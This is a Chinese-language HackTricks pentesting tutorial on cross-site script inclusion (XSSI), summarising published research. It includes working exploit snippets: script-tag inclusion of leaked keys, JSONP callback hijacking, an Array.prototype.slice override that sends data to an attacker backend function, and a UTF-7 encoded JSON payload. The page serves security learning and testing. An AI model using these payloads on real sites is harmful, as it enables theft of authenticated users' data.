5.9 KiB
XSSI(跨站脚本包含)
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或 关注我的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
基本信息
XSSI指的是一种利用事实的漏洞,即当使用script
标签包含资源时,SOP不适用,因为脚本必须能够跨域包含。攻击者因此可以通过**script
标签**读取包含的所有内容。
当涉及动态JavaScript或JSONP时,特别是在使用像cookie这样的环境授权信息进行身份验证时,这一点尤为有趣。当从不同主机请求资源时,cookie会被包含在内。
类型
- 静态JavaScript(常规XSSI)
- 只有在经过身份验证时才能访问的静态JavaScript
- 动态JavaScript
- 非JavaScript
以下信息是https://www.scip.ch/en/?labs.20160414的摘要。请查看以获取更多详细信息。
常规XSSI
在这种方法中,私人信息被嵌入到一个全局可访问的JavaScript文件中。攻击者可以使用文件读取、关键字搜索或正则表达式等方法识别这些文件。一旦定位到包含私人信息的脚本,就可以将其包含在恶意内容中,从而未经授权地访问敏感数据。下面是一个示例利用技术:
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
动态基于JavaScript的XSSI和经过身份验证的JavaScript-XSSI
这些类型的XSSI攻击涉及将机密信息动态添加到响应用户请求的脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同,可能表明存在机密信息。可以使用诸如DetectDynamicJS Burp扩展之类的工具来自动化此过程。
如果机密数据存储在全局变量中,可以利用类似于常规XSSI中使用的方法进行利用。但是,如果机密数据包含在JSONP响应中,攻击者可以劫持回调函数以检索信息。这可以通过操纵全局对象或设置一个函数来执行JSONP响应来实现,如下所示:
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
对于不驻留在全局命名空间中的变量,有时可以利用原型篡改。该技术利用了JavaScript的设计,其中代码解释涉及遍历原型链以定位调用的属性。通过覆盖某些函数,如Array
的slice
,攻击者可以访问并泄漏非全局变量:
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
进一步的攻击向量细节可以在安全研究人员Sebastian Lekies的作品中找到,他维护着一个vectors列表。
非脚本-XSSI
Takeshi Terada的研究介绍了另一种XSSI形式,其中非脚本文件(如CSV)通过在script
标签中作为源被包含而跨源泄漏。XSSI的历史实例,如Jeremiah Grossman在2006年攻击读取完整的Google通讯录和Joe Walker在2007年的JSON数据泄漏,突显了这些威胁的严重性。此外,Gareth Heyes描述了一种攻击变体,涉及UTF-7编码的JSON以逃逸JSON格式并执行脚本,在某些浏览器中有效:
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
其他支持HackTricks的方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或 关注我的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。